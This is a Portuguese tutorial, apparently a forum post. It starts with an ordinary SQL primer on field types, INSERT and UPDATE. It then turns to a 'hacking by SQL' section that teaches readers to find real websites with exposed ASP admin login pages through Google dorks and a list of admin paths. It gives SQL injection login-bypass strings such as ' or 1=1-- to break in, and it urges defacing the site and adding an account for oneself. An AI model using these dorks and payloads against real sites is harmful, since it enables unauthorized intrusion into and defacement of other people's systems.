Sql injection:
O que é SQL
O que é e para que serve o SQL
As aplicações em rede são cada dia mais numerosas e versáteis. Em muitos casos, o esquema básico de operação é uma série de scripts que dirigem o comportamento de uma base de dados.
Devido à diversidade de linguagens e de base de dados existentes, a maneira de comunicar entre umas e outras seria realmente complicado de providenciar, a não ser pela existência de padrões que nos permite realizar as operações básicas de una forma universal.
É justamente disso que se trata o Structured Query Language que não é mais do que uma linguagem padrão de comunicação com base de dados. Falamos portanto, de uma linguagem normalizada que nos permite trabalhar com qualquer tipo de linguagem (ASP ou PHP) em combinação com qualquer tipo de base de dados (MS Access, SQL Server, MySQL…).
O fato de ser padrão não quer dizer que seja idêntico para cada base de dados. Na prática, determinadas bases de dados implementam funções específicas que não têm necessariamente que funcionar em outras.
À parte desta universalidade, o SQL possui outras duas características muito apreciadas. Por uma parte, apresenta potência e versatilidade notáveis que contrasta, por outra, com sua acessibilidade de aprendizagem.
Tipos de campos
Diferentes tipos de campos empregados nos bancos de dados.
Como sabemos, um banco de dados é composto por tabelas onde armazenamos registros catalogados em função de diferentes campos (características).
Um aspecto prévio a considerar é a natureza dos valores que introduzimos nesses campos. Visto que um banco de dados trabalha com todo o tipo de informações, é importante especificar que tipo de valor estamos introduzindo de maneira a, por um lado, facilitar a busca posteriormente e por outro, otimizar os recursos de memória.
Cada banco de dados introduz tipos de valores de campo que não necessariamente estão presentes em outros. Entretanto, existe um conjunto de tipos que estão representados na totalidade destes bancos. Estes tipos comuns são os seguintes:
Alfanuméricos[b]-Contém cifras e letras. Apresentam uma longitude limitada (255 caracteres)
[b]Numéricos-Existem de vários tipos, principalmente, inteiros (sem decimais) e reais (com decimais).
Booleanos-Possuem duas formas: Verdadeiro e falso (Sim ou Não)
Datas-Armazenam datas facilitando posteriormente sua exploração. Armazenar datas desta forma possibilita ordenar os registros por datas ou calcular os dias entre uma data e outra…
Memos-São campos alfanuméricos de longitude ilimitada. Apresentam o inconveniente de não poder ser indexados (veremos mais adiante o que isto quer dizer).
Auto-incrementáveis-São campos numéricos inteiros que incrementam em uma unidade seu valor para cada registro incorporado. Sua utilidade é mais que evidente: Servir de identificador já que são exclusivos de um registro.
[/b]Adicionar um novo registro[/b]
Sintaxe e exemplos para introduzir registros em uma tabela.
Os registros podem ser introduzidos a partir de sentenças que empregam a instrução Insert.
A sintaxe utilizada é a seguinte:
Insert Into nome_tabela (nome_campo1, nome_campo2,…) Values (valor_campo1, valor_campo2…)
Um exemplo simples a partir da nossa tabela modelo é a introdução de um novo cliente que seria feito com uma instrução deste tipo:
Insert Into clientes (nome, sobrenomes, endereço, cidade, código postal, e-mail, pedidos) Values (‘Pedro’, ‘Palotes’, ‘Percebe n°13′, ‘Londrina’, ’123456′, ‘pedro@criarweb.com’, 33)
Como se pode ver, os campos não numéricos ou booleanos vão delimitados por apóstrofes: ‘. Também é interessante ver que o código postal foi salvo como um campo não numérico. Isto é devido a que em determinados países (Inglaterra,por exemplo) os códigos postais contém também letras.
Nota: Se desejarmos praticar com um banco de dados que está vazio, primeiro devemos criar as tabelas que vamos preencher. As tabelas também se criam com sentenças SQL e aprendemos a fazer isso no último capítulo.
Embora, de qualquer forma, pode ser que seja mais cômodo utilizar um programa com interface gráfica, como Access, que pode nos servir para criar as tabelas em banco de dados do próprio Access ou por ODBC a outros bancos de dados como SQL Server ou MySQL, por dar dois exemplos.
Outra possibilidade em um banco de dados como MySQL, seria criar as tabelas utilizando um software como PhpMyAdmin.
Obviamente, não é imprescindível preencher todos os campos do registro. Porém, poder ser que determinados campos sejam necessários. Estes campos necessários podem ser definidos quando construirmos nossa tabela mediante o banco de dados.
Nota: Se não inserirmos um dos campos no banco de dados se iniciará com o valor padrão que tivermos definido na hora de criar a tabela. Se não houver um valor padrão, provavelmente se inicie como NULL (vazio), no caso de que este campo permita valores nulos. Se esse campo não permitir valores nulos (isso se define também ao criar a tabela) o mais seguro é que a execução da sentença SQL nos dê um erro.
É muito interessante, já veremos mais adiante o porquê, o introduzir durante a criação de nossa tabela um campo auto-incrementável que nos permita atribuir um único número a cada um dos registros. Deste modo, nossa tabela clientes apresentaría para cada registro um número exclusivo do cliente que será muito útil quando consultarmos várias tabelas simultaneamente.
Atualizar um registro
Sintaxe e exemplos para editar registros em uma tabela.
Update é a instrução que nos serve para modificar nossos registros. Como para o caso de Delete, necessitamos especificar por meio de Where quais são os registros que queremos fazer efetivas nossas modificações. Ademais, obviamente, teremos que especificar quais são os novos valores dos campos que desejamos atualizar. A sintaxe é deste tipo:
Update nome_tabela Set nome_campo1 = valor_campo1, nome_campo2 = valor_campo2,… Where condicoes_de_selecao
Um exemplo aplicado:
Update clientes Set nome=’José’ Where nome=’Pedro’
Mediante esta sentença mudamos o nome Pedro por José em todos os registros cujo nome seja Pedro.
Aqui também há que ser cuidadoso de não esquecer de usar Where, do contrário, modificaríamos todos os registros de nossa tabela.
Hackeando por sql:
SQL Injection basicão
ALVO: IIS 5.0 (Ruindows 2000)
Nota: Iniciante-medio
Esse bug é muito legal hehuaehuae
Voce vai encontrar vários sites bugados, mas não vai conseguir ownar (possuir, usado para designar um deface) todos. Essa falha consiste em injetar comandos no banco de dados SQL obtendo privilegios de administrador.
Para procurar um site vulneravel usaremos o Google (nossa, o Google??) é, isso mesmo.
O diretório onde você vai injetar a string é:
/admin/index.asp
/admin/default.asp
tb tem esses:
/admin
/adm
/admin/index.asp
/admin/default.asp
/admin/admin.asp
/admin/login.asp
/admin/entrar.asp
/admin/default.asp
/admin/index.asp
/admin/login.asp
/admin/password.asp
/admin/senha.asp
/login/login.asp
/adm/login.asp
/adm/index.asp
/adm/default.asp
/admin/site/entrar.asp
/ecommerce/admin/index.asp
/ecommerce/admin/default.asp
/ecommerce/admin/login.asp
Existem outros mas nunca funcionou comigo… Tipo, vc vai no Google e procura por sites vulneraveis, assim: allinurl: “/admin/index.asp” ou “/admin/index.asp.
Quando você achar o site vulnerável, você vai inserir a string. Deverá aparecer um campo para login e senha, daí vc coloca:
login: ‘or’1 ou ‘or”=’
senha: ‘or’1 ou ‘or”=’
‘ or ‘ 1
‘ or ’1′=’1
‘ or 1=1–
‘or”=’
‘ or ‘a’='a
‘) or (‘a’='a
Daí se o site estiver vulnerável você vai cair no diretório do admin, aí você procura o caminho da index e owna o site! Tipo, você tb pode faze otras coisas do tipo criar um user pra vc e etc.
Fonte:Apostila by shadow_sjm